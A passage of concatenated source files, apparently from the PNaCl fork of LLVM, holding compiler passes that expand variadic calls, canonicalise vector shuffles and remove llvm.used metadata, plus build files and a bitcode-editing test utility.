NaClBitcodeDecoders.cpp
)
add_dependencies(LLVMNaClBitReader LLVMBitReader intrinsics_gen)
<file_sep>/lib/Transforms/NaCl/ExpandVarArgs.cpp
//===- ExpandVarArgs.cpp - Expand out variable argument function calls-----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass expands out all use of variable argument functions.
//
// This pass replaces a varargs function call with a function call in
// which a pointer to the variable arguments is passed explicitly.
// The callee explicitly allocates space for the variable arguments on
// the stack using "alloca".
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/Triple.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class ExpandVarArgs : public ModulePass {
public:
static char ID;
ExpandVarArgs() : ModulePass(ID) {
initializeExpandVarArgsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char ExpandVarArgs::ID = 0;
INITIALIZE_PASS(ExpandVarArgs, "expand-varargs",
"Expand out variable argument function definitions and calls",
false, false)
static bool ExpandVarArgFunc(Module *M, Function *Func) {
Type *PtrType = Type::getInt8PtrTy(Func->getContext());
FunctionType *FTy = Func->getFunctionType();
SmallVector<Type *, 8> Params(FTy->param_begin(), FTy->param_end());
Params.push_back(PtrType);
FunctionType *NFTy =
FunctionType::get(FTy->getReturnType(), Params, /*isVarArg=*/false);
Function *NewFunc = RecreateFunction(Func, NFTy);
// Declare the new argument as "noalias".
NewFunc->setAttributes(Func->getAttributes().addAttribute(
Func->getContext(), FTy->getNumParams() + 1, Attribute::NoAlias));
// Move the arguments across to the new function.
auto NewArg = NewFunc->arg_begin();
for (Argument &Arg : Func->args()) {
Arg.replaceAllUsesWith(NewArg);
NewArg->takeName(&Arg);
++NewArg;
}
// The last argument is the new `i8 * noalias %varargs`.
NewArg->setName("varargs");
Func->eraseFromParent();
// Expand out uses of llvm.va_start in this function.
for (BasicBlock &BB : *NewFunc) {
for (auto BI = BB.begin(), BE = BB.end(); BI != BE;) {
Instruction *I = BI++;
if (auto *VAS = dyn_cast<VAStartInst>(I)) {
IRBuilder<> IRB(VAS);
Value *Cast = IRB.CreateBitCast(VAS->getArgList(),
PtrType->getPointerTo(), "arglist");
IRB.CreateStore(NewArg, Cast);
VAS->eraseFromParent();
}
}
}
return true;
}
static void ExpandVAArgInst(VAArgInst *Inst, DataLayout *DL) {
Type *IntPtrTy = DL->getIntPtrType(Inst->getContext());
auto *One = ConstantInt::get(IntPtrTy, 1);
IRBuilder<> IRB(Inst);
auto *ArgList = IRB.CreateBitCast(
Inst->getPointerOperand(),
Inst->getType()->getPointerTo()->getPointerTo(), "arglist");
// The caller spilled all of the va_args onto the stack in an unpacked
// struct. Each va_arg load from that struct needs to realign the element to
// its target-appropriate alignment in the struct in order to jump over
// padding that may have been in-between arguments. Do this with ConstantExpr
// to ensure good code gets generated, following the same approach as
// Support/MathExtras.h:alignAddr:
// ((uintptr_t)Addr + Alignment - 1) & ~(uintptr_t)(Alignment - 1)
// This assumes the alignment of the type is a power of 2 (or 1, in which case
// no realignment occurs).
auto *Ptr = IRB.CreateLoad(ArgList, "arglist_current");
auto *AlignOf = ConstantExpr::getIntegerCast(
ConstantExpr::getAlignOf(Inst->getType()), IntPtrTy, /*isSigned=*/false);
auto *AlignMinus1 = ConstantExpr::getNUWSub(AlignOf, One);
auto *NotAlignMinus1 = IRB.CreateNot(AlignMinus1);
auto *CurrentPtr = IRB.CreateIntToPtr(
IRB.CreateAnd(
IRB.CreateNUWAdd(IRB.CreatePtrToInt(Ptr, IntPtrTy), AlignMinus1),
NotAlignMinus1),
Ptr->getType());
auto *Result = IRB.CreateLoad(CurrentPtr, "va_arg");
Result->takeName(Inst);
// Update the va_list to point to the next argument.
Value *Indexes[] = {One};
auto *Next = IRB.CreateInBoundsGEP(CurrentPtr, Indexes, "arglist_next");
IRB.CreateStore(Next, ArgList);
Inst->replaceAllUsesWith(Result);
Inst->eraseFromParent();
}
static void ExpandVAEnd(VAEndInst *VAE) {
// va_end() is a no-op in this implementation.
VAE->eraseFromParent();
}
static void ExpandVACopyInst(VACopyInst *Inst) {
// va_list may have more space reserved, but we only need to
// copy a single pointer.
Type *PtrTy = Type::getInt8PtrTy(Inst->getContext())->getPointerTo();
IRBuilder<> IRB(Inst);
auto *Src = IRB.CreateBitCast(Inst->getSrc(), PtrTy, "vacopy_src");
auto *Dest = IRB.CreateBitCast(Inst->getDest(), PtrTy, "vacopy_dest");
auto *CurrentPtr = IRB.CreateLoad(Src, "vacopy_currentptr");
IRB.CreateStore(CurrentPtr, Dest);
Inst->eraseFromParent();
}
// ExpandVarArgCall() converts a CallInst or InvokeInst to expand out
// of varargs. It returns whether the module was modified.
template <class InstType>
static bool ExpandVarArgCall(Module *M, InstType *Call, DataLayout *DL) {
FunctionType *FuncType = cast<FunctionType>(
Call->getCalledValue()->getType()->getPointerElementType());
if (!FuncType->isFunctionVarArg())
return false;
Function *F = Call->getParent()->getParent();
LLVMContext &Ctx = M->getContext();
SmallVector<AttributeSet, 8> Attrs;
Attrs.push_back(Call->getAttributes().getFnAttributes());
Attrs.push_back(Call->getAttributes().getRetAttributes());
// Split argument list into fixed and variable arguments.
SmallVector<Value *, 8> FixedArgs;
SmallVector<Value *, 8> VarArgs;
SmallVector<Type *, 8> VarArgsTypes;
for (unsigned I = 0, E = FuncType->getNumParams(); I < E; ++I) {
FixedArgs.push_back(Call->getArgOperand(I));
// AttributeSets use 1-based indexing.
Attrs.push_back(Call->getAttributes().getParamAttributes(I + 1));
}
for (unsigned I = FuncType->getNumParams(), E = Call->getNumArgOperands();
I < E; ++I) {
Value *ArgVal = Call->getArgOperand(I);
VarArgs.push_back(ArgVal);
bool isByVal = Call->getAttributes().hasAttribute(I + 1, Attribute::ByVal);
// For "byval" arguments we must dereference the pointer.
VarArgsTypes.push_back(isByVal ? ArgVal->getType()->getPointerElementType()
: ArgVal->getType());
}
if (VarArgsTypes.size() == 0) {
// Some buggy code (e.g. 176.gcc in Spec2k) uses va_arg on an
// empty argument list, which gives undefined behaviour in C. To
// work around such programs, we create a dummy varargs buffer on
// the stack even though there are no arguments to put in it.
// This allows va_arg to read an undefined value from the stack
// rather than crashing by reading from an uninitialized pointer.
// An alternative would be to pass a null pointer to catch the
// invalid use of va_arg.
VarArgsTypes.push_back(Type::getInt32Ty(Ctx));
}
// Create struct type for packing variable arguments into.
StructType *VarArgsTy = StructType::get(Ctx, VarArgsTypes);
// Allocate space for the variable argument buffer. Do this at the
// start of the function so that we don't leak space if the function
// is called in a loop.
IRBuilder<> IRB(F->getEntryBlock().getFirstInsertionPt());
auto *Buf = IRB.CreateAlloca(VarArgsTy, nullptr, "vararg_buffer");
// Call llvm.lifetime.start/end intrinsics to indicate that Buf is
// only used for the duration of the function call, so that the
// stack space can be reused elsewhere.
auto LifetimeStart = Intrinsic::getDeclaration(M, Intrinsic::lifetime_start);
auto LifetimeEnd = Intrinsic::getDeclaration(M, Intrinsic::lifetime_end);
auto *I8Ptr = Type::getInt8Ty(Ctx)->getPointerTo();
auto *BufPtr = IRB.CreateBitCast(Buf, I8Ptr, "vararg_lifetime_bitcast");
auto *BufSize =
ConstantInt::get(Ctx, APInt(64, DL->getTypeAllocSize(VarArgsTy)));
IRB.CreateCall2(LifetimeStart, BufSize, BufPtr);
// Copy variable arguments into buffer.
int Index = 0;
IRB.SetInsertPoint(Call);
for (Value *Arg : VarArgs) {
Value *Indexes[] = {ConstantInt::get(Ctx, APInt(32, 0)),
ConstantInt::get(Ctx, APInt(32, Index))};
Value *Ptr = IRB.CreateInBoundsGEP(Buf, Indexes, "vararg_ptr");
bool isByVal = Call->getAttributes().hasAttribute(
FuncType->getNumParams() + Index + 1, Attribute::ByVal);
if (isByVal)
IRB.CreateMemCpy(Ptr, Arg, DL->getTypeAllocSize(
Arg->getType()->getPointerElementType()),
/*Align=*/1);
else
IRB.CreateStore(Arg, Ptr);
++Index;
}
// Cast function to new type to add our extra pointer argument.
SmallVector<Type *, 8> ArgTypes(FuncType->param_begin(),
FuncType->param_end());
ArgTypes.push_back(VarArgsTy->getPointerTo());
FunctionType *NFTy = FunctionType::get(FuncType->getReturnType(), ArgTypes,
/*isVarArg=*/false);
Value *CastFunc = IRB.CreateBitCast(Call->getCalledValue(),
NFTy->getPointerTo(), "vararg_func");
// Create the converted function call.
FixedArgs.push_back(Buf);
Instruction *NewCall;
if (auto *C = dyn_cast<CallInst>(Call)) {
auto *N = IRB.CreateCall(CastFunc, FixedArgs);
N->setAttributes(AttributeSet::get(Ctx, Attrs));
NewCall = N;
IRB.CreateCall2(LifetimeEnd, BufSize, BufPtr);
} else if (auto *C = dyn_cast<InvokeInst>(Call)) {
auto *N = IRB.CreateInvoke(CastFunc, C->getNormalDest(), C->getUnwindDest(),
FixedArgs, C->getName());
N->setAttributes(AttributeSet::get(Ctx, Attrs));
(IRBuilder<>(C->getNormalDest()->getFirstInsertionPt()))
.CreateCall2(LifetimeEnd, BufSize, BufPtr);
(IRBuilder<>(C->getUnwindDest()->getFirstInsertionPt()))
.CreateCall2(LifetimeEnd, BufSize, BufPtr);
NewCall = N;
} else {
llvm_unreachable("not a call/invoke");
}
NewCall->takeName(Call);
Call->replaceAllUsesWith(NewCall);
Call->eraseFromParent();
return true;
}
bool ExpandVarArgs::runOnModule(Module &M) {
bool Changed = false;
DataLayout DL(&M);
for (auto MI = M.begin(), ME = M.end(); MI != ME;) {
Function *F = MI++;
for (BasicBlock &BB : *F) {
for (auto BI = BB.begin(), BE = BB.end(); BI != BE;) {
Instruction *I = BI++;
if (auto *VI = dyn_cast<VAArgInst>(I)) {
Changed = true;
ExpandVAArgInst(VI, &DL);
} else if (auto *VAE = dyn_cast<VAEndInst>(I)) {
Changed = true;
ExpandVAEnd(VAE);
} else if (auto *VAC = dyn_cast<VACopyInst>(I)) {
Changed = true;
ExpandVACopyInst(VAC);
} else if (auto *Call = dyn_cast<CallInst>(I)) {
Changed |= ExpandVarArgCall(&M, Call, &DL);
} else if (auto *Call = dyn_cast<InvokeInst>(I)) {
Changed |= ExpandVarArgCall(&M, Call, &DL);
}
}
}
if (F->isVarArg())
Changed |= ExpandVarArgFunc(&M, F);
}
return Changed;
}
ModulePass *llvm::createExpandVarArgsPass() { return new ExpandVarArgs(); }
<file_sep>/lib/Transforms/NaCl/BackendCanonicalize.cpp
//===- BackendCanonicalize.cpp --------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Clean up some toolchain-side PNaCl ABI simplification passes. These passes
// allow PNaCl to have a simple and stable ABI, but they sometimes lead to
// harder-to-optimize code. This is desirable because LLVM's definition of
// "canonical" evolves over time, meaning that PNaCl's simple ABI can stay
// simple yet still take full advantage of LLVM's backend by having this pass
// massage the code into something that the backend prefers handling.
//
// It currently:
// - Re-generates shufflevector (not part of the PNaCl ABI) from insertelement /
// extractelement combinations. This is done by duplicating some of
// instcombine's implementation, and ignoring optimizations that should
// already have taken place.
// - Re-materializes constant loads, especially of vectors. This requires doing
// constant folding through bitcasts.
//
// The pass also performs limited DCE on instructions it knows to be dead,
// instead of performing a full global DCE.
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/ConstantFolding.h"
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instruction.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Operator.h"
#include "llvm/IR/InstVisitor.h"
#include "llvm/Pass.h"
#include "llvm/Analysis/TargetLibraryInfo.h"
#include "llvm/Transforms/NaCl.h"
#include "llvm/Transforms/Utils/Local.h"
using namespace llvm;
// =============================================================================
// TODO(jfb) The following functions are as-is from instcombine. Make them
// reusable instead.
/// CollectSingleShuffleElements - If V is a shuffle of values that ONLY returns
/// elements from either LHS or RHS, return the shuffle mask and true.
/// Otherwise, return false.
static bool CollectSingleShuffleElements(Value *V, Value *LHS, Value *RHS,
SmallVectorImpl<Constant*> &Mask) {
assert(LHS->getType() == RHS->getType() &&
"Invalid CollectSingleShuffleElements");
unsigned NumElts = V->getType()->getVectorNumElements();
if (isa<UndefValue>(V)) {
Mask.assign(NumElts, UndefValue::get(Type::getInt32Ty(V->getContext())));
return true;
}
if (V == LHS) {
for (unsigned i = 0; i != NumElts; ++i)
Mask.push_back(ConstantInt::get(Type::getInt32Ty(V->getContext()), i));
return true;
}
if (V == RHS) {
for (unsigned i = 0; i != NumElts; ++i)
Mask.push_back(ConstantInt::get(Type::getInt32Ty(V->getContext()),
i+NumElts));
return true;
}
if (InsertElementInst *IEI = dyn_cast<InsertElementInst>(V)) {
// If this is an insert of an extract from some other vector, include it.
Value *VecOp = IEI->getOperand(0);
Value *ScalarOp = IEI->getOperand(1);
Value *IdxOp = IEI->getOperand(2);
if (!isa<ConstantInt>(IdxOp))
return false;
unsigned InsertedIdx = cast<ConstantInt>(IdxOp)->getZExtValue();
if (isa<UndefValue>(ScalarOp)) { // inserting undef into vector.
// We can handle this if the vector we are inserting into is
// transitively ok.
if (CollectSingleShuffleElements(VecOp, LHS, RHS, Mask)) {
// If so, update the mask to reflect the inserted undef.
Mask[InsertedIdx] = UndefValue::get(Type::getInt32Ty(V->getContext()));
return true;
}
} else if (ExtractElementInst *EI = dyn_cast<ExtractElementInst>(ScalarOp)){
if (isa<ConstantInt>(EI->getOperand(1))) {
unsigned ExtractedIdx =
cast<ConstantInt>(EI->getOperand(1))->getZExtValue();
unsigned NumLHSElts = LHS->getType()->getVectorNumElements();
// This must be extracting from either LHS or RHS.
if (EI->getOperand(0) == LHS || EI->getOperand(0) == RHS) {
// We can handle this if the vector we are inserting into is
// transitively ok.
if (CollectSingleShuffleElements(VecOp, LHS, RHS, Mask)) {
// If so, update the mask to reflect the inserted value.
if (EI->getOperand(0) == LHS) {
Mask[InsertedIdx % NumElts] =
ConstantInt::get(Type::getInt32Ty(V->getContext()),
ExtractedIdx);
} else {
assert(EI->getOperand(0) == RHS);
Mask[InsertedIdx % NumElts] =
ConstantInt::get(Type::getInt32Ty(V->getContext()),
ExtractedIdx + NumLHSElts);
}
return true;
}
}
}
}
}
return false;
}
/// We are building a shuffle to create V, which is a sequence of insertelement,
/// extractelement pairs. If PermittedRHS is set, then we must either use it or
/// not rely on the second vector source. Return a std::pair containing the
/// left and right vectors of the proposed shuffle (or 0), and set the Mask
/// parameter as required.
///
/// Note: we intentionally don't try to fold earlier shuffles since they have
/// often been chosen carefully to be efficiently implementable on the target.
typedef std::pair<Value *, Value *> ShuffleOps;
static ShuffleOps CollectShuffleElements(Value *V,
SmallVectorImpl<Constant *> &Mask,
Value *PermittedRHS) {
assert(V->getType()->isVectorTy() && "Invalid shuffle!");
unsigned NumElts = cast<VectorType>(V->getType())->getNumElements();
if (isa<UndefValue>(V)) {
Mask.assign(NumElts, UndefValue::get(Type::getInt32Ty(V->getContext())));
return std::make_pair(
PermittedRHS ? UndefValue::get(PermittedRHS->getType()) : V, nullptr);
}
if (isa<ConstantAggregateZero>(V)) {
Mask.assign(NumElts, ConstantInt::get(Type::getInt32Ty(V->getContext()),0));
return std::make_pair(V, nullptr);
}
if (InsertElementInst *IEI = dyn_cast<InsertElementInst>(V)) {
// If this is an insert of an extract from some other vector, include it.
Value *VecOp = IEI->getOperand(0);
Value *ScalarOp = IEI->getOperand(1);
Value *IdxOp = IEI->getOperand(2);
if (ExtractElementInst *EI = dyn_cast<ExtractElementInst>(ScalarOp)) {
if (isa<ConstantInt>(EI->getOperand(1)) && isa<ConstantInt>(IdxOp)) {
unsigned ExtractedIdx =
cast<ConstantInt>(EI->getOperand(1))->getZExtValue();
unsigned InsertedIdx = cast<ConstantInt>(IdxOp)->getZExtValue();
// Either the extracted from or inserted into vector must be RHSVec,
// otherwise we'd end up with a shuffle of three inputs.
if (EI->getOperand(0) == PermittedRHS || PermittedRHS == nullptr) {
Value *RHS = EI->getOperand(0);
ShuffleOps LR = CollectShuffleElements(VecOp, Mask, RHS);
assert(LR.second == nullptr || LR.second == RHS);
if (LR.first->getType() != RHS->getType()) {
// We tried our best, but we can't find anything compatible with RHS
// further up the chain. Return a trivial shuffle.
for (unsigned i = 0; i < NumElts; ++i)
Mask[i] = ConstantInt::get(Type::getInt32Ty(V->getContext()), i);
return std::make_pair(V, nullptr);
}
unsigned NumLHSElts = RHS->getType()->getVectorNumElements();
Mask[InsertedIdx % NumElts] =
ConstantInt::get(Type::getInt32Ty(V->getContext()),
NumLHSElts+ExtractedIdx);
return std::make_pair(LR.first, RHS);
}
if (VecOp == PermittedRHS) {
// We've gone as far as we can: anything on the other side of the
// extractelement will already have been converted into a shuffle.
unsigned NumLHSElts =
EI->getOperand(0)->getType()->getVectorNumElements();
for (unsigned i = 0; i != NumElts; ++i)
Mask.push_back(ConstantInt::get(
Type::getInt32Ty(V->getContext()),
i == InsertedIdx ? ExtractedIdx : NumLHSElts + i));
return std::make_pair(EI->getOperand(0), PermittedRHS);
}
// If this insertelement is a chain that comes from exactly these two
// vectors, return the vector and the effective shuffle.
if (EI->getOperand(0)->getType() == PermittedRHS->getType() &&
CollectSingleShuffleElements(IEI, EI->getOperand(0), PermittedRHS,
Mask))
return std::make_pair(EI->getOperand(0), PermittedRHS);
}
}
}
// Otherwise, can't do anything fancy. Return an identity vector.
for (unsigned i = 0; i != NumElts; ++i)
Mask.push_back(ConstantInt::get(Type::getInt32Ty(V->getContext()), i));
return std::make_pair(V, nullptr);
}
// =============================================================================
namespace {
class BackendCanonicalize : public FunctionPass,
public InstVisitor<BackendCanonicalize, bool> {
public:
static char ID; // Pass identification, replacement for typeid
BackendCanonicalize() : FunctionPass(ID), DL(0), TLI(0) {
initializeBackendCanonicalizePass(*PassRegistry::getPassRegistry());
}
virtual void getAnalysisUsage(AnalysisUsage &AU) const {
AU.addRequired<TargetLibraryInfoWrapperPass>();
FunctionPass::getAnalysisUsage(AU);
}
virtual bool runOnFunction(Function &F);
// InstVisitor implementation. Unhandled instructions stay as-is.
bool visitInstruction(Instruction &I) { return false; }
bool visitInsertElementInst(InsertElementInst &IE);
bool visitBitCastInst(BitCastInst &C);
bool visitLoadInst(LoadInst &L);
private:
const DataLayout *DL;
const TargetLibraryInfo *TLI;
// List of instructions that are now obsolete, and should be DCE'd.
typedef SmallVector<Instruction *, 512> KillList;
KillList Kill;
/// Helper that constant folds an instruction.
bool visitConstantFoldableInstruction(Instruction *I);
/// Empty the kill list, making sure that all other dead instructions
/// up the chain (but in the current basic block) also get killed.
static void emptyKillList(KillList &Kill);
};
} // anonymous namespace
char BackendCanonicalize::ID = 0;
INITIALIZE_PASS(BackendCanonicalize, "backend-canonicalize",
"Canonicalize PNaCl bitcode for LLVM backends", false, false)
bool BackendCanonicalize::runOnFunction(Function &F) {
bool Modified = false;
DL = &F.getParent()->getDataLayout();
TLI = &getAnalysis<TargetLibraryInfoWrapperPass>().getTLI();
for (Function::iterator FI = F.begin(), FE = F.end(); FI != FE; ++FI)
for (BasicBlock::iterator BI = FI->begin(), BE = FI->end(); BI != BE; ++BI)
Modified |= visit(&*BI);
emptyKillList(Kill);
return Modified;
}
// This function is *almost* as-is from instcombine, avoiding silly
// cases that should already have been optimized.
bool BackendCanonicalize::visitInsertElementInst(InsertElementInst &IE) {
Value *ScalarOp = IE.getOperand(1);
Value *IdxOp = IE.getOperand(2);
// If the inserted element was extracted from some other vector, and if the
// indexes are constant, try to turn this into a shufflevector operation.
if (ExtractElementInst *EI = dyn_cast<ExtractElementInst>(ScalarOp)) {
if (isa<ConstantInt>(EI->getOperand(1)) && isa<ConstantInt>(IdxOp)) {
unsigned NumInsertVectorElts = IE.getType()->getNumElements();
unsigned NumExtractVectorElts =
EI->getOperand(0)->getType()->getVectorNumElements();
unsigned ExtractedIdx =
cast<ConstantInt>(EI->getOperand(1))->getZExtValue();
unsigned InsertedIdx = cast<ConstantInt>(IdxOp)->getZExtValue();
if (ExtractedIdx >= NumExtractVectorElts) // Out of range extract.
return false;
if (InsertedIdx >= NumInsertVectorElts) // Out of range insert.
return false;
// If this insertelement isn't used by some other insertelement, turn it
// (and any insertelements it points to), into one big shuffle.
if (!IE.hasOneUse() || !isa<InsertElementInst>(IE.user_back())) {
typedef SmallVector<Constant *, 16> MaskT;
MaskT Mask;
Value *LHS, *RHS;
std::tie(LHS, RHS) = CollectShuffleElements(&IE, Mask, nullptr);
if (!RHS)
RHS = UndefValue::get(LHS->getType());
// We now have a shuffle of LHS, RHS, Mask.
if (isa<UndefValue>(LHS) && !isa<UndefValue>(RHS)) {
// Canonicalize shufflevector to always have undef on the RHS,
// and adjust the mask.
std::swap(LHS, RHS);
for (MaskT::iterator I = Mask.begin(), E = Mask.end(); I != E; ++I) {
unsigned Idx = cast<ConstantInt>(*I)->getZExtValue();
unsigned NewIdx = Idx >= NumInsertVectorElts
? Idx - NumInsertVectorElts
: Idx + NumInsertVectorElts;
*I = ConstantInt::get(Type::getInt32Ty(RHS->getContext()), NewIdx);
}
}
IRBuilder<> IRB(&IE);
IE.replaceAllUsesWith(
IRB.CreateShuffleVector(LHS, RHS, ConstantVector::get(Mask)));
// The chain of now-dead insertelement / extractelement
// instructions can be deleted.
Kill.push_back(&IE);
return true;
}
}
}
return false;
}
bool BackendCanonicalize::visitBitCastInst(BitCastInst &B) {
return visitConstantFoldableInstruction(&B);
}
bool BackendCanonicalize::visitLoadInst(LoadInst &L) {
return visitConstantFoldableInstruction(&L);
}
bool BackendCanonicalize::visitConstantFoldableInstruction(Instruction *I) {
if (Constant *Folded = ConstantFoldInstruction(I, *DL, TLI)) {
I->replaceAllUsesWith(Folded);
Kill.push_back(I);
return true;
}
return false;
}
void BackendCanonicalize::emptyKillList(KillList &Kill) {
while (!Kill.empty())
RecursivelyDeleteTriviallyDeadInstructions(Kill.pop_back_val());
}
FunctionPass *llvm::createBackendCanonicalizePass() {
return new BackendCanonicalize();
}
<file_sep>/unittests/Bitcode/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
AsmParser
BitReader
BitWriter
NaClBitAnalysis
NaClBitTestUtils
NaClBitReader
NaClBitWriter
Core
Support
)
add_llvm_unittest(BitcodeTests
BitReaderTest.cpp
BitstreamReaderTest.cpp
NaClAbbrevTrieTest.cpp
NaClBitReaderTest.cpp
NaClBitstreamReaderTest.cpp
NaClCompressTests.cpp
NaClMungedBitcodeTest.cpp
NaClMungedIoTest.cpp
NaClMungeTest.cpp
NaClMungeWriteErrorTests.cpp
NaClObjDumpTest.cpp
NaClObjDumpTypesTest.cpp
NaClParseTypesTest.cpp
NaClParseInstsTest.cpp
NaClTextFormatterTest.cpp
)
<file_sep>/lib/Transforms/NaCl/CleanupUsedGlobalsMetadata.cpp
//===- CleanupUsedGlobalsMetadata.cpp - Cleanup llvm.used -----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
// ===---------------------------------------------------------------------===//
//
// Remove llvm.used metadata.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class CleanupUsedGlobalsMetadata : public ModulePass {
public:
static char ID;
CleanupUsedGlobalsMetadata() : ModulePass(ID) {
initializeCleanupUsedGlobalsMetadataPass(*PassRegistry::getPassRegistry());
}
bool runOnModule(Module &M) override;
};
}
char CleanupUsedGlobalsMetadata::ID = 0;
INITIALIZE_PASS(CleanupUsedGlobalsMetadata, "cleanup-used-globals-metadata",
"Removes llvm.used metadata.", false, false)
bool CleanupUsedGlobalsMetadata::runOnModule(Module &M) {
bool Modified = false;
if (auto *GV = M.getNamedGlobal("llvm.used")) {
GV->eraseFromParent();
Modified = true;
}
return Modified;
}
ModulePass *llvm::createCleanupUsedGlobalsMetadataPass() {
return new CleanupUsedGlobalsMetadata();
}<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClBitcodeMungeUtils.cpp
//===--- Bitcode/NaCl/TestUtils/NaClBitcodeMungeUtils.cpp - Munge Bitcode -===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Munge bitcode records utility class NaClMungedBitcode.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeMungeUtils.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/Support/Format.h"
using namespace llvm;
namespace {
// \brief Extracts an uint64_t value from the array of values.
//
// \param Values The array of values to extract from.
// \param ValuesSize The length of Values.
// \param Terminator Denotes the end of a bitcode record.
// \param [in/out] Index The index within Values to extract the
// integer. Updates Index to point to the next value after
// extraction.
uint64_t readValue(const uint64_t Values[], size_t ValuesSize,
uint64_t Terminator, size_t &Index) {
if (Index < ValuesSize && Values[Index] != Terminator)
return Values[Index++];
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Value expected at index " << Index;
report_fatal_error(StrBuf.str());
}
// \brief Extracts value of Type from the array of values. Parameters
// are the same as for readValue.
template <class Type>
Type readAsType(const uint64_t Values[], size_t ValuesSize, uint64_t Terminator,
size_t &Index) {
uint64_t Value = readValue(Values, ValuesSize, Terminator, Index);
Type ValueAsType = static_cast<Type>(Value);
if (Value == ValueAsType)
return ValueAsType;
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Out of range value " << Value << " at index " << (Index - 1);
report_fatal_error(StrBuf.str());
}
// \brief Extracts an edit action from the array of values. Parameters
// are the same as for readValue.
NaClMungedBitcode::EditAction readEditAction(const uint64_t Values[],
size_t ValuesSize,
uint64_t Terminator,
size_t &Index) {
uint64_t Value = readValue(Values, ValuesSize, Terminator, Index);
if (Value <= NaClMungedBitcode::Replace)
return static_cast<NaClMungedBitcode::EditAction>(Value);
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Edit action expected at index " << Index << ". Found: " << Value;
report_fatal_error(StrBuf.str());
}
} // end of anonymous namespace
namespace llvm {
void readNaClBitcodeRecordList(NaClBitcodeRecordList &RecordList,
const uint64_t Records[],
size_t RecordsSize,
uint64_t RecordTerminator) {
for (size_t Index = 0; Index < RecordsSize;) {
std::unique_ptr<NaClBitcodeAbbrevRecord>
Rcd(new NaClBitcodeAbbrevRecord());
Rcd->read(Records, RecordsSize, RecordTerminator, Index);
RecordList.push_back(std::move(Rcd));
}
}
} // end of namespace llvm
void NaClBitcodeAbbrevRecord::print(raw_ostream &Out) const {
NaClBitcodeRecordData::Print(Out << Abbrev << ": ");
}
void NaClBitcodeAbbrevRecord::read(const uint64_t Vals[], size_t ValsSize,
uint64_t Terminator, size_t &Index) {
Abbrev = readAsType<unsigned>(Vals, ValsSize, Terminator, Index);
Code = readAsType<unsigned>(Vals, ValsSize, Terminator, Index);
Values.clear();
while (Index < ValsSize) {
uint64_t Value = Vals[Index++];
if (Value == Terminator)
break;
Values.push_back(Value);
}
}
NaClMungedBitcode::NaClMungedBitcode(const uint64_t Records[],
size_t RecordsSize,
uint64_t RecordTerminator)
: BaseRecords(new NaClBitcodeRecordList()) {
readNaClBitcodeRecordList(*BaseRecords, Records, RecordsSize,
RecordTerminator);
}
void NaClMungedBitcode::print(raw_ostream &Out) const {
size_t Indent = 0;
for (const NaClBitcodeAbbrevRecord &Record : *this) {
if (Indent && Record.Code == naclbitc::BLK_CODE_EXIT)
--Indent;
for (size_t i = 0; i < Indent; ++i) {
Out << " ";
}
// Blank fill to make abbreviation indices right align, and then
// print record.
uint32_t Cutoff = 9999999;
while (Record.Abbrev <= Cutoff && Cutoff) {
Out << " ";
Cutoff /= 10;
}
Out << Record << "\n";
if (Record.Code == naclbitc::BLK_CODE_ENTER)
++Indent;
}
}
NaClMungedBitcode::~NaClMungedBitcode() {
removeEdits();
}
void NaClMungedBitcode::addBefore(size_t RecordIndex,
NaClBitcodeAbbrevRecord &Record) {
assert(RecordIndex < BaseRecords->size());
at(BeforeInsertionsMap, RecordIndex).push_back(copy(Record));
}
void NaClMungedBitcode::addAfter(size_t RecordIndex,
NaClBitcodeAbbrevRecord &Record) {
assert(RecordIndex < BaseRecords->size());
at(AfterInsertionsMap, RecordIndex).push_back(copy(Record));
}
void NaClMungedBitcode::remove(size_t RecordIndex) {
assert(RecordIndex < BaseRecords->size());
NaClBitcodeAbbrevRecord *&RcdPtr = ReplaceMap[RecordIndex];
if (RcdPtr != nullptr)
delete RcdPtr;
RcdPtr = nullptr;
}
void NaClMungedBitcode::replace(size_t RecordIndex,
NaClBitcodeAbbrevRecord &Record) {
assert(RecordIndex < BaseRecords->size());
NaClBitcodeAbbrevRecord *&RcdPtr = ReplaceMap[RecordIndex];
if (RcdPtr != nullptr)
delete RcdPtr;
RcdPtr = copy(Record);
}
NaClBitcodeAbbrevRecord *
NaClMungedBitcode::copy(const NaClBitcodeAbbrevRecord &Record) {
return new NaClBitcodeAbbrevRecord(Record);
}
void NaClMungedBitcode::destroyInsertionsMap(
NaClMungedBitcode::InsertionsMapType &Map) {
for (auto Pair : Map) {
DeleteContainerPointers(*Pair.second);
delete Pair.second;
}
Map.clear();
}
void NaClMungedBitcode::removeEdits() {
destroyInsertionsMap(BeforeInsertionsMap);
destroyInsertionsMap(AfterInsertionsMap);
